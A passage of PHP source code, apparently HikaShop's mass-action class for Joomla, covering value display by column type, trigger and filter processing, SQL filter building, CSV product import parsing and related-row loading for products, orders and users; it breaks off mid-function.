	function displayByType($types,$element,$column,$format=null){
		$square = '';
		foreach($types as $key => $type){
			if($key === $column){
				switch($type->type){
					case 'price':
						if($element->$column->currency != '0' &&
JRequest::getVar('from_task','displayResults') ==
'displayResults'){
							$currency = hikashop_get('class.currency');
							$square =
$currency->format($element->$column->value,$element->$column->currency);
						}else{
							$square = $element->$column->value;
						}
						break;

					case 'date':
						$square = hikashop_getDate($element->$column,$format);
						break;

					case 'joomla_users':
						switch($type->sub_type){
							case 'jdate':
								$square = hikashop_getDate($element->$column,$format);
								break;
							default:
								$square = $element->$column;
								break;
						}
						break;

					case 'parent':
						$square = $element->$column->id.' :
'.$element->$column->name;

						break;
					case 'dimension':
						$square = $element->$column->value.'
'.$element->$column->unit;
						break;

					case 'weight':
					case 'weight_unit':
					case 'dimension_unit':
					case 'custom_text' :
					case 'custom_singledropdown':
					case 'custom_textarea':
					case 'custom_radio':
					case 'custom_checkbox':
					case 'custom_multipledropdown':
					case 'custom_file':
					case 'custom_image':
					case 'custom_zone':
					case 'text':
						$square = $element->$column;
						break;

					case 'characteristic':
						$square = $element->$column->value;
						break;

					case 'currency' :
						if($element->$column == '0'){
							$square = '0';
						}else{
							$currency = hikashop_get('class.currency');
							$data = $currency->get($element->$column);
							$square = $data->currency_code;
						}
						break;

					case 'related' :
					case 'options' :
						$square = $element->$column->id.' :
'.$element->$column->name;
						break;

					default :
						if(strpos($type->type,'custom_') === 0){
							if(!isset($this->dispatcher)){
								JPluginHelper::importPlugin('hikashop');
								$this->dispatcher = JDispatcher::getInstance();
							}
							$this->dispatcher->trigger('onDisplayByTypeMassAction'.$type->type,array($element,$column,$format=null));
						}else{
							$square = $element->$column;
						}
						break;
				}
				return $square;
			}
		}
	}

	function array_insert($array, $index, $insert) {
		$key_insert = array_keys($insert);
		$key_array = array_keys($array);
		$values_insert = array_values ($insert);
		$values_array = array_values ($array);
		$k = array();
		$v = array();
		for($i = 0;$i<count($array) + count($insert);$i++){
			if($i<$index){
				$k[$i] = $key_array[$i];
			}else if($i == $index){
				$k[$i] = $key_insert[0];
			}else if($i < $index + count($insert)){
				$k[$i] = $key_insert[$i-count($array)];
			}else{
				$k[$i] = $key_array[$i-count($insert)];
			}
		}

		for($i = 0;$i<count($array) + count($insert);$i++){
			if($i<$index){
				$v[$i] = $values_array[$i];
			}else if($i == $index){
				$v[$i] = $values_insert[0];
			}else if($i < $index + count($insert)){
				$v[$i] = $values_insert[$i-count($array)];
			}else{
				$v[$i] = $values_array[$i-count($insert)];
			}
		}
		$r = array();
		for ($i = 0; $i < count ($k); $i ++) $r[$k[$i]] = $v[$i];
		return $r;
	}

	function parentResults($table,$id){
		$database	= JFactory::getDBO();
		switch($table){
			case 'category':
				$query = 'SELECT category_name, category_id';
				$query .= ' FROM '.hikashop_table('category');
				$query .= ' WHERE category_id = '.(int)$id;
				break;
			case 'product':
				$query = 'SELECT product_name, product_id';
				$query .= ' FROM '.hikashop_table('product');
				$query .= ' WHERE product_id = '.(int)$id;
				break;
			default:
				if(!isset($this->dispatcher)){
					JPluginHelper::importPlugin('hikashop');
					$this->dispatcher = JDispatcher::getInstance();
				}
				$this->dispatcher->trigger('onLoadParentResultMassAction'.$table,array($table,$id));
				break;
		}
		if(!empty($query)){
			$database->setQuery($query);
			$rows = $database->loadObjectList();
			return $rows;
		}
		return false;
	}


	function save(&$element){
		if(isset($element->massaction_triggers) &&
empty($element->massaction_triggers)) $element->massaction_triggers =
'';
		if(isset($element->massaction_filters) &&
empty($element->massaction_filters)) $element->massaction_filters =
'';
		if(isset($element->massaction_actions) &&
empty($element->massaction_actions)) $element->massaction_actions =
'';

		if(!isset($this->dispatcher)){
			JPluginHelper::importPlugin('hikashop');
			$this->dispatcher = JDispatcher::getInstance();
		}
		$this->dispatcher->trigger('onBeforeMassactionCreate',array(&$element));
		$this->dispatcher->trigger('onBeforeMassactionUpdate',array(&$element));
		$this->prepare($element,'serialize');

		$status = parent::save($element);
		if(!$status){
			return false;
		}
		$this->dispatcher->trigger('onAfterMassactionCreate',array(&$element));
		$this->dispatcher->trigger('onAfterMassactionUpdate',array(&$element));
		return $status;
	}

	function get($id,$default=null){
		$element = parent::get($id);
		if($element){
			$this->prepare($element);
		}
		return $element;
	}

	function prepare(&$massaction,$action='unserialize'){
		$vars =
array('triggers','actions','filters');
		foreach($vars as $var){
			$key = 'massaction_'.$var;
			if(!empty($massaction->$key)){
				$massaction->$key = $action($massaction->$key);
			}
		}
	}

	function trigger($trigger,$elements=array()){
		if(empty($trigger)) return false;

		static $done = array();
		if(isset($done[$trigger])) return true;
		$done[$trigger]=true;

		static $massactions = null;
		if(!isset($massactions)){
			$this->database->setQuery('SELECT * FROM
#__hikashop_massaction WHERE massaction_published=1 &&
massaction_triggers!=\'\'');
			$massactionsFromDB = $this->database->loadObjectList();
			$ordered = array();
			if(!empty($massactionsFromDB)){
				foreach($massactionsFromDB as $massactionFromDB){
					$this->prepare($massactionFromDB);
					if(!empty($massactionFromDB->massaction_triggers) &&
is_array($massactionFromDB->massaction_triggers) &&
count($massactionFromDB->massaction_triggers)){
						foreach($massactionFromDB->massaction_triggers as $k=>$data){
							if(!isset($ordered[$data->name])){
								$ordered[$data->name] = array();
							}
							$ordered[$data->name][] = $massactionFromDB;
						}
					}
				}
			}
			$massactions = $ordered;
		}
		if(empty($massactions[$trigger])){
			return true;
		}
		foreach($massactions[$trigger] as $massaction){
			$this->process($massaction,$elements);
		}
		return true;
	}

	function process(&$massaction,&$elements){
		if(!isset($this->dispatcher)){
			JPluginHelper::importPlugin('hikashop');
			$this->dispatcher = JDispatcher::getInstance();
		}

		$query = new HikaShopQuery();
		$table = strtolower($massaction->massaction_table);
		$query->select = 'hk_'.$table.'.*';
		$query->from = '#__hikashop_'.$table.' as
hk_'.$table;

		$oldElement = $elements;
		if(!empty($massaction->massaction_filters)){
			foreach($massaction->massaction_filters as $k => $filter){
				$this->dispatcher->trigger('onProcess'.ucfirst($massaction->massaction_table).'MassFilter'.$filter->name,array(&$elements,&$query,&$filter->data,$k));
			}
		}
		if((!is_array($elements) || !count($elements)) &&
empty($oldElement)){
			$query->select = array($query->select);
			$elements = $query->execute();
		}

		if(is_array($elements) && count($elements) &&
!empty($massaction->massaction_actions)){
			foreach($massaction->massaction_actions as $k => $action){
				$this->report =
array_merge($this->report,$this->dispatcher->trigger('onProcess'.ucfirst($massaction->massaction_table).'MassAction'.$action->name,array(&$elements,&$action->data,$k)));
			}
		}
		return true;
	}


	function editionSquare($data,$data_id,$table,$column,$value,$id,$type){
		hikashop_securefield($column);
		hikashop_securefield($table);
		hikashop_securefield($data);
		$database = JFactory::getDBO();
		switch($type){
			case 'date':
				$value = hikashop_getTime($value);
				break;
		}
		if(!isset($this->dispatcher)){
			JPluginHelper::importPlugin('hikashop');
			$this->dispatcher = JDispatcher::getInstance();
		}
		$this->dispatcher->trigger('onSaveEditionSquareMassAction',array($data,$data_id,$table,$column,$value,$id,$type));
	}
	function checkInElement($element, $filter){
		if(is_null($element)) return false;
		$in = false;
		if(in_array($filter['operator'],array('<=','>=','<','>'))
&&
!preg_match('/^(?:\d+|\d*\.\d+)$/',$filter['value'])){
			$in = false;
		}else{
			switch($filter['operator']){
				case 'BEGINS':
					if(preg_match('/^'.$filter['value'].'/i',$element->$filter['type'])){
$in = true; }
					break;
				case 'END':
					if(preg_match('/'.$filter['value'].'$/i',$element->$filter['type'])){
$in = true; }
					break;
				case 'LIKE':
					if(preg_match('/\b'.$filter['value'].'\b/i',$element->$filter['type'])){
$in = true; }
					break;
				case 'NOT LIKE':
					if(!preg_match('/\b'.$filter['value'].'\b/i',$element->$filter['type'])){
$in = true; }
					break;
				case 'CONTAINS':
					if(preg_match('/'.$filter['value'].'/i',$element->$filter['type'])){
$in = true; }
					break;
				case 'NOTCONTAINS':
					if(!preg_match('/'.$filter['value'].'/i',$element->$filter['type'])){
$in = true; }
					break;
				case 'REGEXP':
					if(preg_match($filter['value'],$element->$filter['type'])){
$in = true;	}
					break;
				case 'NOT REGEXP':
					if(!preg_match($filter['value'],$element->$filter['type'])){
$in = true; }
					break;
				case 'IS NULL':
					if($element->$filter['type'] == null){ $in = true; }
					break;
				case 'IS NOT NULL':
					if($element->$filter['type'] != null){ $in = true; }
					break;
				case '>':
					if($element->$filter['type'] >
$filter['value']){ $in = true; }
					break;
				case '<':
					if($element->$filter['type'] <
$filter['value']){ $in = true; }
					break;
				case '>=':
					if($element->$filter['type'] >=
$filter['value']){ $in = true; }
					break;
				case '<=':
					if($element->$filter['type'] <=
$filter['value']){ $in = true; }
					break;
				case '!=':
					if($element->$filter['type'] !=
$filter['value']){ $in = true; }
					break;
				default:
					if($element->$filter['type'] ==
$filter['value']){ $in = true; }
					break;
			}
		}
		return $in;
	}
	function getRequest($filter, $prefix = ''){
		$db = JFactory::getDBO();
		$filter['type'] = strip_tags($filter['type']);
		if(!in_array($filter['operator'],array('<','<=')))
			$filter['operator'] =
strip_tags($filter['operator']);
		if(!empty($prefix)) $prefix = $prefix.'.';
		if((in_array($filter['operator'],array('<=','>=','<','>'))
&&
!preg_match('/^(?:\d+|\d*\.\d+)$/',$filter['value']))){
			echo JText::_('WRONG_VALUE').' - ';
			return '1 = 2';
		}
		switch($filter['operator']){
			case 'BEGINS':
				return $prefix.$filter['type'].' LIKE
'.$db->quote($filter['value'].'%');
				break;
			case 'END':
				return $prefix.$filter['type'].' LIKE
'.$db->quote('%'.$filter['value']);
				break;
			case 'CONTAINS':
				return $prefix.$filter['type'].' LIKE
'.$db->quote('%'.$filter['value'].'%');
				break;
			case 'NOTCONTAINS':
				return $prefix.$filter['type'].' NOT LIKE
'.$db->quote('%'.$filter['value'].'%');
				break;
			case 'IS NULL':
				return $prefix.$filter['type'].' IS NULL';
				break;
			case 'IS NOT NULL':
				return $prefix.$filter['type'].' IS NOT NULL';
				break;
			default:
				return $prefix.$filter['type'].'
'.$filter['operator'].'
'.$db->quote($filter['value']);
				break;
		}
	}

	function getFromFile($element, $check = false){
		$data = new stdClass();
		$app = JFactory::getApplication();
		$importHelper = hikashop_get('helper.import');
		$importFile = array();
		$elts = explode('/',$element['path']);
		if($elts == null) return false;
		$nb = count($elts);
		if($nb == 1){
			$elts = explode('\\',$element['path']);
			$nb = count($elts);
		}

		if(!file_exists($element['path'])){
			if(!$check)$app->enqueueMessage(JText::sprintf(
'NO_FILE_FOUND',$element['path']), 'error');
			$data->error = 'not_found';
			return $data;
		}

		hikashop_increasePerf();
		$contentFile = @file_get_contents($element['path']);
		if(!$contentFile){
			if(!$check)$app->enqueueMessage(JText::sprintf(
'FAIL_OPEN',$element['path']), 'error');
			$data->error = 'fail_open';
			return $data;
		};

		$contentFile =
str_replace(array("\r\n","\r"),"\n",$contentFile);
		$importLines = explode("\n", $contentFile);

		$columns =
strip_tags(str_replace('"','',$importLines[0]));

		$listSeparators =
array(';',',','|',"\t");
		$separator = ';';
		foreach($listSeparators as $sep){
			if(preg_match('#(?!\\\\)'.$sep.'#',$columns)){
				$separator = $sep;
				$columns=str_replace($sep,'|',$columns);
				break;
			}
		}
		unset($importLines[0]);

		if(empty($importLines)){
			if(!$check)$app->enqueueMessage('EMPTY','error');
			$data->error = 'empty';
			return $data;
		}

		$columns = explode('|',$columns);
		$numberColumns = count($columns);

		$db = JFactory::getDBO();
		if(!HIKASHOP_J25) {
			$tmp = $db->getTableFields(hikashop_table('product'));
			$productColumns = reset($tmp);
			unset($tmp);
			$tmp = $db->getTableFields(hikashop_table('price'));
			$priceColumns = reset($tmp);
			unset($tmp);
		} else {
			$productColumns =
$db->getTableColumns(hikashop_table('product'));
			$priceColumns =
$db->getTableColumns(hikashop_table('price'));
		}
		$db->setQuery('SELECT characteristic_value FROM
'.hikashop_table('characteristic').' WHERE
characteristic_parent_id = 0');
		$characteristicColumns = $db->loadResultArray();
		$categoryColumns =
array('categories_ordering','parent_category','categories_image','categories');
		$otherColumns =
array('files','images','related','options');
		if(!is_array($characteristicColumns)) $characteristicColumns =
array($characteristicColumns);
		$mergedColumns =
array_merge(array_keys($productColumns),array_keys($priceColumns),$categoryColumns,$characteristicColumns,$otherColumns);
		$wrongColumns = array_diff($columns,$mergedColumns);


		if(!empty($wrongColumns) && $check){
			if(!$check)$app->enqueueMessage('WRONG_COLUMNS','error');
			$data->wrongColumns = $wrongColumns;
			$data->validColumns = $mergedColumns;
			$data->error = 'wrong_columns';
			return $data;
		}elseif($check){
			$data->error = 'valid';
			return $data;
		}

		if(isset($element['change']) &&
is_array($element['change'])){
			foreach($columns as $num => $column){
				foreach($element['change'] as $key => $value){
					if($column == $key && $value != 'delete'){
						$columns[$num] = $value;
					}
					elseif($column == $key && $value == 'delete'){
						unset($columns[$num]);
					}
				}
			}
		}

		$pool = array();
		$missingIds = array();
		$missingCodes = array();
		foreach($importLines as $key => $importLine){
			$product = $this->getProduct($importLines, $key, $numberColumns,
$separator);
			if(!is_array($product)) continue;
			$newProduct = new stdClass();
			foreach($product as $num => $value){
				if(!empty($columns[$num])){
					$field = $columns[$num];
					if( strpos('|',$field) !== false ) { $field =
str_replace('|','__tr__',$field); }
					$newProduct->$field = preg_replace('#^[\'"
]{1}(.*)[\'" ]{1}$#','$1',$value);
				}
			}
			$pool[$key] = new stdClass();
			if(isset($newProduct->product_id)){
				$pool[$key]->product_id = $newProduct->product_id;
			}
			if(isset($newProduct->product_code)){
				$pool[$key]->product_code = $newProduct->product_code;
			}
			if(!isset($pool[$key]->product_id) &&
!isset($pool[$key]->product_code)){
				continue;
			}
			if(!isset($pool[$key]->product_code)){
				$missingCodes[] = $pool[$key]->product_id;
			}
			if(!isset($pool[$key]->product_id)){
				$missingIds[] = $pool[$key]->product_code;
			}
		}

		$missing = array();
		if(!empty($missingCodes)){
			$db->setQuery('SELECT * FROM
'.hikashop_table('product').' WHERE product_id IN
('.implode(',',$missingCodes).')');
			$missingCodes = $db->loadObjectList();
		}
		if(!empty($missingIds)){
			$db->setQuery('SELECT * FROM
'.hikashop_table('product').' WHERE product_code IN
('.implode(',',$db->quote($missingIds)).')');
			$missingIds = $db->loadObjectList();
		}

		$errorcount = 0;
		$importProducts = array();
		foreach($importLines as $key => $importLine){
			$product = $this->getProduct($importLines, $key, $numberColumns,
$separator);

			if(!is_array($product)) continue;
			$newProduct = new stdClass();
			foreach($product as $num => $value){
				if(!empty($columns[$num])){
					$field = $columns[$num];
					if( strpos('|',$field) !== false ) { $field =
str_replace('|','__tr__',$field); }
					$newProduct->$field = preg_replace('#^[\'"
]{1}(.*)[\'" ]{1}$#','$1',$value);
				}
			}

			if(empty($newProduct->product_id)){
				foreach($missingIds as $missingId){
					if($newProduct->product_code == $missingId->product_code){
						$newProduct->product_id = $missingId->product_id;
					}
				}
			}
			if(empty($newProduct->product_code)){
				foreach($missingCodes as $missingCode){
					if($newProduct->product_id == $missingCode->product_id){
						$newProduct->product_code = $missingCode->product_code;
					}
				}
			}

			if(empty($newProduct->product_code) ||
empty($newProduct->product_id)){
				$errorcount++;
				if($errorcount<20){
					if(isset($importLine[$key-1]))$app->enqueueMessage(JText::sprintf('IMPORT_ERRORLINE',$importLines[$key-1]).'
'.JText::_('PRODUCT_NOT_FOUND'),'notice');
				}elseif($errorcount == 20){
					$app->enqueueMessage('...','notice');
				}
			}else{
				$importProducts[$newProduct->product_id] = $newProduct;
				$ids[] = $newProduct->product_id;
			}
		}
		$data->ids = $ids;
		$data->elements = $importProducts;

		return $data;
	}

	function getProduct($importLines, $key, $numberColumns, $separator){
		$false = false;
		if(!isset($importLines[$key])  || empty($importLines[$key])){
			return $false;
		}

		$quoted = false;
		$dataPointer=0;
		$data = array('');

		while($data!==false && isset($importLines[$key]) &&
(count($data) < $numberColumns||$quoted)){
			$k = 0;
			$total = strlen($importLines[$key]);
			while($k < $total){
				switch($importLines[$key][$k]){
					case '"':

						if($quoted && isset($importLines[$key][$k+1]) &&
$importLines[$key][$k+1]=='"'){
							$data[$dataPointer].='"';
							$k++;
						}elseif($quoted){
							$quoted = false;
						}elseif(empty($data[$dataPointer])){
							$quoted = true;
						}else{
							$data[$dataPointer].='"';
						}
						break;
					case $separator:
						if(!$quoted){
							$data[]='';
							$dataPointer++;
							break;
						}
					default:
						$data[$dataPointer].=$importLines[$key][$k];
						break;
				}
				$k++;
			}

			$this->_checkLineData($data,true,$numberColumns,$importLines[$key]);

			if(count($data) < $numberColumns||$quoted){
				$data[$dataPointer].="\r\n";
			}
		}

		if($data!=false)
$this->_checkLineData($data,true,$numberColumns,$importLines[$key]);
		return $data;
	}

	function
_checkLineData(&$data,$type=true,$numberColumns,$importLine){
		if($type){
			$not_ok = count($data) > $numberColumns;
		}else{
			$not_ok = count($data) != $numberColumns;
		}
		if($not_ok){
			static $errorcount = 0;
			if(empty($errorcount)){
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::sprintf('IMPORT_ARGUMENTS',$numberColumns),'error');
			}
			$errorcount++;
			if($errorcount<20){
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::sprintf('IMPORT_ERRORLINE',$importLine),'notice');
			}elseif($errorcount == 20){
				$app = JFactory::getApplication();
				$app->enqueueMessage('...','notice');
			}
		}
	}

	function updateValuesSecure(&$action,&$possibleTables =
array(),&$queryTables = array()){
		$db = JFactory::getDBO();
		$app = JFactory::getApplication();
		$tableType = explode('_',$action['type']);

		if(preg_match('/order_product/',$action['type']))
$tableType = array('order_product');
		if($tableType[0] == 'joomla') $queryTables[] =
$tableType[0].'_'.$tableType[1];
		else $queryTables[] = $tableType[0];

		$mainFields = array();
		foreach($possibleTables as $possibleTable){
			if(version_compare(JVERSION,'3.0','<')){
				if(preg_match('/joomla_/',$possibleTable)){
					$fieldsTable =
$db->getTableFields('#__'.str_replace('joomla_','',$possibleTable));
					$fields = reset($fieldsTable);
					$fieldsTable = $fields;
				}
				else{
					$fieldsTable =
$db->getTableFields('#__hikashop_'.$possibleTable);
					$fields = reset($fieldsTable);
				}
			} else {
				if(preg_match('/joomla_/',$possibleTable)){
					$fields =
$db->getTableColumns('#__'.str_replace('joomla_','',$possibleTable));
				}
				else $fields =
$db->getTableColumns('#__hikashop_'.$possibleTable);
			}
			$mainFields = array_merge($mainFields,$fields);
		}

		foreach($mainFields as $key => $field){
			$field = str_replace(',','',$field);
			if($key == $action['type']){
				switch($action['operation']){
					case 'int':
						if(in_array($field,array('boolean'))){
							 $app->enqueueMessage(JText::sprintf(
'WRONG_COLUMN_TYPE', $field));
							 $queryTables = '';
						}
						break;
					case 'float':
						if(in_array($field,array('int','boolean'))){
							 $app->enqueueMessage(JText::sprintf(
'WRONG_COLUMN_TYPE', $field));
							 $queryTables = '';
						}
						break;
					case 'string':
						if(!in_array($field,array('varchar','text','char'))){
							 $app->enqueueMessage(JText::sprintf(
'WRONG_COLUMN_TYPE', $field));
							 $queryTables = '';
						}
						break;
				}
			}
		}
		if($action['operation'] == 'int'){$value =
(int)$action['value'];}
		elseif($action['operation'] == 'float'){$value =
(float)$action['value'];}
		elseif($action['operation'] == 'string'){$value =
$db->quote($action['value']);}
		elseif($action['operation'] == 'operation'){
			$symbols =
array('%','+','-','/','*','(',')');
			$string =
str_replace($symbols,'',$action['value']);
			$string = preg_replace('/[0-9]/i', '',$string);
			$strings = explode('.',$string);

			$type = 'table';
			if(!empty($mainFields)){
				foreach($strings as $string){
					if(!empty($string) && $type == 'table'){
						if(!in_array($string, $possibleTables)){
							$app->enqueueMessage(JText::sprintf('TABLE_NOT_EXIST',$string));
							$queryTables = '';
							continue;
						}
						if(!in_array($string, $queryTables)){
							$queryTables[] = 'hk_'.$string;
						}
						$type = 'column';
					}elseif(!empty($string) && $type == 'column'){
						$colKey = array();
						foreach($mainFields as $key => $field){
							$colKey[] = $key;
						}
						if(!in_array($string, $colKey)){
							$app->enqueueMessage(JText::sprintf('COLUMN_NOT_EXIST',$string));
							$queryTables = '';
						}
						$type = 'table';
					}
				}
			}
			if(!preg_match('/^(?:\d+|\d*\.\d+)$/',$action['value'])){
				if(in_array($action['value'][0],
array('+','-'))){
					$value = $action['type'].$action['value'];
				}
				else{
					$value = 'hk_'.$action['value'];
				}
				$value = strip_tags($value);
			}
			else{
				$value = $db->quote($action['value']);
			}
		}else{$value = '';}
		return $value;
	}

	function initDefaultDiv(&$value, $key, $type, $table,
&$loadedData, $html){
		if($type == 'filter'){
			if(!is_int($key)){
				$filters_html = '<div
id="'.$table.$type.'__num__'.$value->name.'">';
				$filters_html .= $html.'</div>';
				$loadedData->massaction_filters[$key]->name = '';
				return $filters_html;
			}else{
				$loadedData->massaction_filters[$key]->html = '<div
id="'.$table.$type.'area_'.$key.'"
class="hikamassactionarea">';
				$loadedData->massaction_filters[$key]->html .=
$html.'</div>';
			}
		}elseif($type == 'action'){
			if(!is_int($key)){
				$filters_html = '<div
id="'.$table.$type.'__num__'.$value->name.'">';
				$filters_html .= $html.'</div>';
				$loadedData->massaction_actions[$key]->name = '';
				return $filters_html;
			}else{
				$loadedData->massaction_actions[$key]->html = '<div
id="'.$table.$type.'area_'.$key.'"
class="hikamassactionarea">';
				$loadedData->massaction_actions[$key]->html .=
$html.'</div>';
			}


		}
	}
	function _displayResults($table_name,&$elements,&$action,$k){
		$params = new stdClass();
		$params->elements = $elements;
		$params->action = $action;
		$params->table = $table_name;

		switch($table_name){
			case 'product':
				$ids = array();
				foreach($params->elements as $element){
					array_push($ids,$element->product_id);
				}
				$params->rows_id = $ids;
				foreach($params->action as $k => $table){
					$columns = array();
					if($table == $table_name){continue;}
					foreach($table as $column){
						array_push($columns,$column);
					}
					$rows = $this->_loadResults($table_name,$k,$ids,$columns);
					if(!is_array($rows)){continue;}
					foreach($rows as $row){
						foreach($params->elements as $i => $element){
							switch($k){
								case 'price':
									if($row->price_product_id != $element->product_id)
continue;
									$params->elements[$i]->price[] = $row;
									break;
								case 'category':
									if($row->product_id != $element->product_id) continue;
									$params->elements[$i]->category[] = $row;
									break;
								case 'characteristic':
									if($row->variant_product_id != $element->product_id)
continue;
									$params->elements[$i]->characteristic[] = $row;
									break;
								case 'related':
									if($row->product_id != $element->product_id) continue;
									if($row->product_related_type == 'related'){
										$params->elements[$i]->related[] = $row;
									}else if($row->product_related_type == 'options'){
										if(isset($row->related_id)){
											$row->options_id = $row->related_id;
											unset($row->related_id);
										}else{
											$row->options_id = '';
										}
										$params->elements[$i]->options[] = $row;
									}
									break;
							}
						}
					}
				}
				break;
			case 'category':
				$ids = array();
				foreach($params->elements as $key=>$element){
					if($element->category_parent_id === '0'){
						unset($params->elements[$key]);
					}else{
						array_push($ids,$element->category_id);
					}
				}

				$params->rows_id = $ids;
				break;
			case 'order':
				$ids = array();
				foreach($params->elements as $element){
					array_push($ids,$element->order_id);
				}
				$params->rows_id = $ids;
				foreach($params->action as $k => $table){
					$columns = array();
					if($table != $table_name){
						foreach($table as $column){
							array_push($columns,$column);
						}
					}
					$rows = $this->_loadResults($table_name,$k,$ids,$columns);

					if(!is_array($rows)){continue;}
					foreach($rows as $row){
						foreach($params->elements as $i => $element){
							switch($k){
								case 'order':
									if($row->order_id != $element->order_id) continue;
									$payment = new stdClass();
									$payment->payment_name = $row->payment_name;
									$payment->payment_id = $row->payment_id;
									$shipping = new stdClass();
									$shipping->shipping_name = $row->shipping_name;
									$shipping->shipping_id = $row->shipping_id;

									$element->payment[] = $payment;
									$element->shipping[] = $shipping;
									break;
								case 'order_product':
									if($row->order_id != $element->order_id) continue;
									$params->elements[$i]->order_product[] = $row;
									break;
								case 'address':
									if($row->order_id != $element->order_id) continue;
									$params->elements[$i]->address[] = $row;
									break;
								case 'user':
									if($row->user_id != $element->order_user_id) continue;
									$params->elements[$i]->user[] = $row;
									break;
								case 'joomla_users':
									$test = false;
									foreach($element as $key=>$elem){
										if(is_array($elem) && $key=='user'){
											foreach($elem as $data){
												if($data->user_cms_id != $row->id){
													$test = true;
												}
											}
										}
									}
									if($test) continue;
									$params->elements[$i]->joomla_users[] = $row;
									break;
							}
						}
					}
				}
				break;
			case 'user':

				$ids = array();
				foreach($params->elements as $element){
					array_push($ids,$element->user_id);
				}
				$params->rows_id = $ids;
				foreach($params->action as $k => $table){
					$columns = array();
					if($table == $table_name){continue;}
					foreach($table as $column){
						array_push($columns,$column);
					}

					$rows = $this->_loadResults($table_name,$k,$ids,$columns);
					if(!is_array($rows)){continue;}
					foreach($rows as $row){
						foreach($params->elements as $i => $element){
							switch($k){
								case 'address':
									if($row->address_user_id != $element->user_id) continue;
									$params->elements[$i]->address[] = $row;
									break;
								case 'joomla_users':
									if($row->joomla_users_id != $element->user_cms_id)
continue;
									$params->elements[$i]->joomla_users[] = $row;
									break;
								case 'usergroups':
									if($row->user_id != $element->user_id) continue;
									$params->elements[$i]->usergroups[] = $row;
									break;
							}
						}
					}
				}
				break;
			case 'address':
				$ids = array();
				foreach($params->elements as $element){
					array_push($ids,$element->address_id);
				}
				$params->rows_id = $ids;
				foreach($params->action as $k => $table){
					$columns = array();
					if($table == $table_name){continue;}
					foreach($table as $column){
						array_push($columns,$column);
					}
					$rows = $this->_loadResults($table_name,$k,$ids,$columns);
					if(is_array($rows)){
						foreach($rows as $row){

							foreach($params->elements as $i => $element){
								switch($k){
									case 'user':
										if($row->user_id != $element->address_user_id) continue;
										$params->elements[$i]->user[] = $row;
										break;
									case 'joomla_users':
										if($row->user_id != $element->address_user_id) continue;
										$params->elements[$i]->joomla_users[] = $row;
										break;
								}
							}
						}
					}
				}
				break;
		}

		return $params;
	}
	function _trigger($trigger,$elements=array()){
		$this->trigger($trigger,$elements);
	}
	function _loadResults($table_name,$switch_table,$ids,$columns=null){
		$database = JFactory::getDBO();
		$query = '';
		JArrayHelper::toInteger($ids);
		if(!in_array($switch_table, array('characteristic'))){
			foreach($columns as $column){
				hikashop_securefield($column);
			}
		}
		switch($table_name){
			case 'product':
				switch($switch_table){
					case 'price':
						$query = 'SELECT '.implode(',',$columns).',
price_product_id, price_id';
						$query .= ' FROM '.hikashop_table('price');
						$query .= ' WHERE price_product_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY price_id ASC';
						break;
					case 'category':
						$query = 'SELECT
'.hikashop_table('category').'.'.implode(',',$columns).','.hikashop_table('product_category').'.product_id,'.hikashop_table('category').'.category_id';
						$query .= ' FROM '.hikashop_table('category');
						$query .= ' INNER JOIN
'.hikashop_table('product_category').' ON
'.hikashop_table('product_category').'.category_id =
'.hikashop_table('category').'.category_id';
						$query .= ' WHERE product_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY product_category_id';
						break;
					case 'characteristic':
						$query  = 'SELECT DISTINCT
characteristic.characteristic_id,characteristic.characteristic_parent_id,
characteristic.characteristic_value, variant.variant_product_id FROM
'.hikashop_table('characteristic').' AS characteristic
';
						$query .= ' LEFT JOIN
'.hikashop_table('variant').' AS variant ON
characteristic.characteristic_id =
variant.variant_characteristic_id';
						$query .= ' WHERE variant_product_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY variant.ordering';
						break;
					case 'related':
						$query = 'SELECT r.product_id ,p.product_id as
\'related_id\',p.product_name, r.product_related_type';
						$query .= ' FROM
'.hikashop_table('product_related').' AS r';
						$query .= ' INNER JOIN
'.hikashop_table('product').' AS p ON
r.product_related_id = p.product_id';
						$query .= ' WHERE r.product_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY p.product_id ASC';
						break;
				}
				break;
			case 'order':
				switch($switch_table){
					case 'order':
						$query = 'SELECT
o.order_id,p.payment_name,p.payment_id,s.shipping_name,s.shipping_id';
						$query .= ' FROM '.hikashop_table('order').'
as o';
						$query .= ' LEFT JOIN
'.hikashop_table('shipping').' as s ON
o.order_shipping_id = s.shipping_id';
						$query .= ' LEFT JOIN
'.hikashop_table('payment').' as p ON
o.order_payment_id = p.payment_id';
						$query .= ' WHERE order_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY order_id ASC';
						break;
					case 'order_product':
						$query = 'SELECT '.implode(',',$columns).',
order_product_id, order_id';
						$query .= ' FROM
'.hikashop_table('order_product');
						$query .= ' WHERE order_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY order_product_id ASC';
						break;
					case 'address':
						foreach($columns as $k => $column){
							$columns[$k] = 'address.'.$column;
						}
						$query = 'SELECT DISTINCT
'.implode(',',$columns).', address.address_id,
order1.order_id';
						$query .= ' FROM
'.hikashop_table('address').' AS address';
						$query .= ' INNER JOIN
'.hikashop_table('order').' AS order1 ON
address.address_id = order1.order_shipping_address_id OR address.address_id
= order1.order_billing_address_id';
						$query .= ' WHERE order1.order_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY address_id ASC';
						break;
					case 'user':
						foreach($columns as $k => $column){
							$columns[$k] = 'user.'.$column;
						}
						$query = 'SELECT DISTINCT
'.implode(',',$columns).', user.user_id,
user.user_cms_id';
						$query .= ' FROM '.hikashop_table('user').'
AS user';
						$query .= ' INNER JOIN
'.hikashop_table('order').' AS _order ON user.user_id =
_order.order_user_id';
						$query .= ' WHERE _order.order_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY user_id ASC';
						break;
					case 'joomla_users':
						foreach($columns as $k => $column){
							$columns[$k] = 'user.'.$column;
						}
						$query = 'SELECT DISTINCT
'.implode(',',$columns).', user.id';
						$query .= ' FROM
'.hikashop_table('users',false).' AS user';
						$query .= ' INNER JOIN
'.hikashop_table('user').' AS hk_user ON user.id =
hk_user.user_cms_id';
						$query .= ' INNER JOIN
'.hikashop_table('order').' AS hk_order ON
hk_user.user_id = hk_order.order_user_id';
						$query .= ' WHERE hk_order.order_id IN
('.implode(',',$ids).')';
						$query .= ' ORDER BY id ASC';
						break;
				}
				break;
			case 'user':
				switch($switch_table){
					case 'address':
